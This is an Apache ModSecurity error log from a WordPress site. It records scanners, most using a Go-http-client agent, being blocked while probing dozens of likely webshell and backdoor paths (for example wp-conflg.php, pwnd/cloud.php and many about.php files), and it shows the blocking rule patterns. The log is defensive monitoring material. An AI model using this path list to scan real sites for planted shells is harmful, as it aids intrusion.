[Sat Nov 15 06:15:29.288124 2025] [:error] [pid 27911:tid 27983] [client 85.203.21.232:48675] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aReqAcGzUdrhGBIfiKTLWgAAAI8"]
[Sat Nov 15 06:15:29.474969 2025] [:error] [pid 27911:tid 27968] [client 85.203.21.162:48797] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php"] [unique_id "aReqAcGzUdrhGBIfiKTLWwAAAIA"]
[Sat Nov 15 06:15:29.677768 2025] [:error] [pid 27911:tid 27977] [client 85.203.21.202:35419] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/kontol/kiw.php"] [unique_id "aReqAcGzUdrhGBIfiKTLXQAAAIk"]
[Sat Nov 15 06:15:29.911783 2025] [:error] [pid 27997:tid 28013] [client 85.203.21.162:43345] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "aReqAdpja_6cDxKbxFkmSQAAAM4"]
[Sat Nov 15 06:15:35.192322 2025] [:error] [pid 37318:tid 37366] [client 193.37.32.3:32799] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aReqB-gM1rHoEAqoQDc2-QAAAQQ"]
[Sat Nov 15 06:15:35.604921 2025] [:error] [pid 27911:tid 27968] [client 85.203.21.167:23783] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/chosen.php"] [unique_id "aReqB8GzUdrhGBIfiKTLaAAAAIA"]
[Sat Nov 15 06:15:35.864005 2025] [:error] [pid 27910:tid 27962] [client 85.203.21.222:22427] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aReqB46e1LusHMYkS7ZeMgAAAFU"]
[Sat Nov 15 06:15:36.369415 2025] [:error] [pid 37318:tid 37389] [client 85.203.21.228:25359] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/cloud.php"] [unique_id "aReqCOgM1rHoEAqoQDc2-wAAARc"]
[Sat Nov 15 06:15:36.673185 2025] [:error] [pid 27910:tid 27963] [client 85.203.21.54:40709] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-content.php"] [unique_id "aReqCI6e1LusHMYkS7ZeNQAAAFY"]
[Sat Nov 15 06:15:36.973755 2025] [:error] [pid 27910:tid 27946] [client 193.37.32.3:43655] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-post-data.php"] [unique_id "aReqCI6e1LusHMYkS7ZeNwAAAEU"]
[Sat Nov 15 06:15:37.201349 2025] [:error] [pid 27911:tid 27981] [client 85.203.21.164:45359] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aReqCcGzUdrhGBIfiKTLbAAAAI0"]
[Sat Nov 15 06:15:37.408518 2025] [:error] [pid 37318:tid 37363] [client 85.203.21.54:28091] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/m.php"] [unique_id "aReqCegM1rHoEAqoQDc2_gAAAQE"]
[Sat Nov 15 06:15:37.682157 2025] [:error] [pid 27910:tid 27950] [client 85.203.21.208:37035] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/colors_26.php"] [unique_id "aReqCY6e1LusHMYkS7ZeOQAAAEk"]
[Sat Nov 15 06:15:37.889899 2025] [:error] [pid 37318:tid 37375] [client 85.203.21.168:34343] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/"] [unique_id "aReqCegM1rHoEAqoQDc3AAAAAQ0"]
[Sat Nov 15 06:15:38.081857 2025] [:error] [pid 37318:tid 37365] [client 85.203.21.207:38301] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-backing.php"] [unique_id "aReqCugM1rHoEAqoQDc3AQAAAQM"]
[Sat Nov 15 06:15:38.278821 2025] [:error] [pid 27911:tid 27980] [client 85.203.21.178:62861] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/wp-backing.php"] [unique_id "aReqCsGzUdrhGBIfiKTLcAAAAIw"]
[Sat Nov 15 06:15:38.501130 2025] [:error] [pid 27997:tid 28012] [client 85.203.21.208:50341] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope.php"] [unique_id "aReqCtpja_6cDxKbxFkmUAAAAM0"]
[Sat Nov 15 06:15:38.682972 2025] [:error] [pid 37318:tid 37368] [client 85.203.21.223:30157] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/acxx.php"] [unique_id "aReqCugM1rHoEAqoQDc3AwAAAQY"]
[Sat Nov 15 06:15:38.891747 2025] [:error] [pid 37318:tid 37388] [client 85.203.21.201:28587] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/modern/about.php"] [unique_id "aReqCugM1rHoEAqoQDc3BQAAARY"]
[Sat Nov 15 06:15:39.075582 2025] [:error] [pid 27997:tid 28016] [client 85.203.21.156:29549] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-ftp.php"] [unique_id "aReqC9pja_6cDxKbxFkmUgAAANE"]
[Sat Nov 15 06:15:39.317994 2025] [:error] [pid 27909:tid 27918] [client 85.203.21.155:32529] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "aReqCyTfZ6B57n8HepWXIQAAAAU"]
[Sat Nov 15 06:15:39.502911 2025] [:error] [pid 27909:tid 27923] [client 85.203.21.210:49821] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/akismet/_inc/img/about.php"] [unique_id "aReqCyTfZ6B57n8HepWXIgAAAAo"]
[Sat Nov 15 06:15:39.698603 2025] [:error] [pid 37318:tid 37371] [client 85.203.21.204:42265] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/call-now-button/src/about.php"] [unique_id "aReqC-gM1rHoEAqoQDc3BgAAAQk"]
[Sat Nov 15 06:15:39.879829 2025] [:error] [pid 27911:tid 27972] [client 85.203.21.232:59835] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wordpress-seo/about.php"] [unique_id "aReqC8GzUdrhGBIfiKTLcwAAAIQ"]
[Sat Nov 15 06:15:40.387830 2025] [:error] [pid 37318:tid 37372] [client 85.203.21.156:31997] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wordpress-seo/admin/pages/about.php"] [unique_id "aReqDOgM1rHoEAqoQDc3CAAAAQo"]
[Sat Nov 15 06:15:40.623304 2025] [:error] [pid 27997:tid 28020] [client 85.203.21.235:34813] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-mail-smtp/assets/about.php"] [unique_id "aReqDNpja_6cDxKbxFkmVQAAANU"]
[Sat Nov 15 06:15:40.806343 2025] [:error] [pid 37318:tid 37365] [client 85.203.21.157:31075] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-optimize/vendor/mrclay/minify/static/about.php"] [unique_id "aReqDOgM1rHoEAqoQDc3CgAAAQM"]
[Sat Nov 15 06:15:41.014474 2025] [:error] [pid 37318:tid 37362] [client 85.203.21.188:54683] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-smushit/_src/js/common/about.php"] [unique_id "aReqDegM1rHoEAqoQDc3CwAAAQA"]
[Sat Nov 15 06:15:41.212039 2025] [:error] [pid 37318:tid 37374] [client 85.203.21.213:25779] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-smushit/core/modules/background/about.php"] [unique_id "aReqDegM1rHoEAqoQDc3DAAAAQw"]
[Sat Nov 15 06:15:41.392294 2025] [:error] [pid 27997:tid 28014] [client 85.203.21.167:27533] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/astra/about.php"] [unique_id "aReqDdpja_6cDxKbxFkmWAAAAM8"]
[Sat Nov 15 06:15:41.610640 2025] [:error] [pid 27911:tid 27985] [client 85.203.21.204:44391] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/astra/inc/blog/about.php"] [unique_id "aReqDcGzUdrhGBIfiKTLdAAAAJE"]
[Sat Nov 15 06:15:41.790690 2025] [:error] [pid 27911:tid 27981] [client 85.203.21.176:55493] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/astra/template-parts/advanced-footer/about.php"] [unique_id "aReqDcGzUdrhGBIfiKTLdQAAAI0"]
[Sat Nov 15 06:15:41.980748 2025] [:error] [pid 27997:tid 28011] [client 85.203.21.226:20675] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/astra/wp-login.php"] [unique_id "aReqDdpja_6cDxKbxFkmWgAAAMw"]
[Sat Nov 15 06:15:42.173219 2025] [:error] [pid 27997:tid 28022] [client 85.203.21.52:21623] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/paradox/option-tree/assets/js/vendor/jquery/about.php"] [unique_id "aReqDtpja_6cDxKbxFkmWwAAANc"]
[Sat Nov 15 06:15:42.375049 2025] [:error] [pid 27997:tid 28021] [client 85.203.21.208:50397] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/fonts/roboto-slab/about.php"] [unique_id "aReqDtpja_6cDxKbxFkmXQAAANY"]
[Sat Nov 15 06:15:42.600649 2025] [:error] [pid 27997:tid 28006] [client 85.203.21.202:47631] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/wpseo-import/about.php"] [unique_id "aReqDtpja_6cDxKbxFkmXwAAAMc"]
[Sat Nov 15 06:15:43.176299 2025] [:error] [pid 37318:tid 37372] [client 85.203.21.202:59747] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Cookie/about.php"] [unique_id "aReqD-gM1rHoEAqoQDc3EgAAAQo"]
[Sat Nov 15 06:15:43.388304 2025] [:error] [pid 37318:tid 37378] [client 85.203.21.210:22301] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Proxy/about.php"] [unique_id "aReqD-gM1rHoEAqoQDc3FAAAARA"]
[Sat Nov 15 06:15:43.575446 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.237:35677] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Utility/about.php"] [unique_id "aReqD-gM1rHoEAqoQDc3FgAAARE"]
[Sat Nov 15 06:15:43.784195 2025] [:error] [pid 37318:tid 37381] [client 85.203.21.210:53691] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comment-date/about.php"] [unique_id "aReqD-gM1rHoEAqoQDc3FwAAARM"]
[Sat Nov 15 06:15:43.986263 2025] [:error] [pid 27910:tid 27965] [client 85.203.21.195:63575] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comments-pagination-numbers/about.php"] [unique_id "aReqD46e1LusHMYkS7ZePQAAAFg"]
[Sat Nov 15 06:15:44.182637 2025] [:error] [pid 27997:tid 27999] [client 85.203.21.172:57653] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comments-title/about.php"] [unique_id "aReqENpja_6cDxKbxFkmYQAAAMA"]
[Sat Nov 15 06:15:44.405507 2025] [:error] [pid 27909:tid 27914] [client 85.203.21.178:60541] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/image/about.php"] [unique_id "aReqECTfZ6B57n8HepWXJgAAAAE"]
[Sat Nov 15 06:15:44.602017 2025] [:error] [pid 27910:tid 27958] [client 85.203.21.155:32221] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/latest-posts/about.php"] [unique_id "aReqEI6e1LusHMYkS7ZePwAAAFE"]
[Sat Nov 15 06:15:44.791899 2025] [:error] [pid 27910:tid 27948] [client 85.203.21.232:60899] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/more/about.php"] [unique_id "aReqEI6e1LusHMYkS7ZeQAAAAEc"]
[Sat Nov 15 06:15:45.069455 2025] [:error] [pid 27911:tid 27976] [client 85.203.21.178:51515] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/page-list-item/about.php"] [unique_id "aReqEcGzUdrhGBIfiKTLdgAAAIg"]
[Sat Nov 15 06:15:45.380609 2025] [:error] [pid 27910:tid 27942] [client 85.203.21.52:22855] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/site-title/about.php"] [unique_id "aReqEY6e1LusHMYkS7ZeQwAAAEE"]
[Sat Nov 15 06:15:45.666026 2025] [:error] [pid 37318:tid 37364] [client 85.203.21.193:22767] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/components/index.php"] [unique_id "aReqEegM1rHoEAqoQDc3GgAAAQI"]
[Sat Nov 15 06:15:46.197933 2025] [:error] [pid 27911:tid 27989] [client 85.203.21.58:35387] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/about.php"] [unique_id "aReqEsGzUdrhGBIfiKTLeAAAAJU"]
[Sat Nov 15 06:15:46.418644 2025] [:error] [pid 27910:tid 27944] [client 85.203.21.228:39513] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/wptextpattern/about.php"] [unique_id "aReqEo6e1LusHMYkS7ZeRAAAAEM"]
[Sat Nov 15 06:15:46.665523 2025] [:error] [pid 27911:tid 27975] [client 85.203.21.161:37767] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/wp-login.php"] [unique_id "aReqEsGzUdrhGBIfiKTLeQAAAIc"]
[Sat Nov 15 06:15:46.893882 2025] [:error] [pid 27910:tid 27951] [client 85.203.21.193:40127] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/av.php"] [unique_id "aReqEo6e1LusHMYkS7ZeRQAAAEo"]
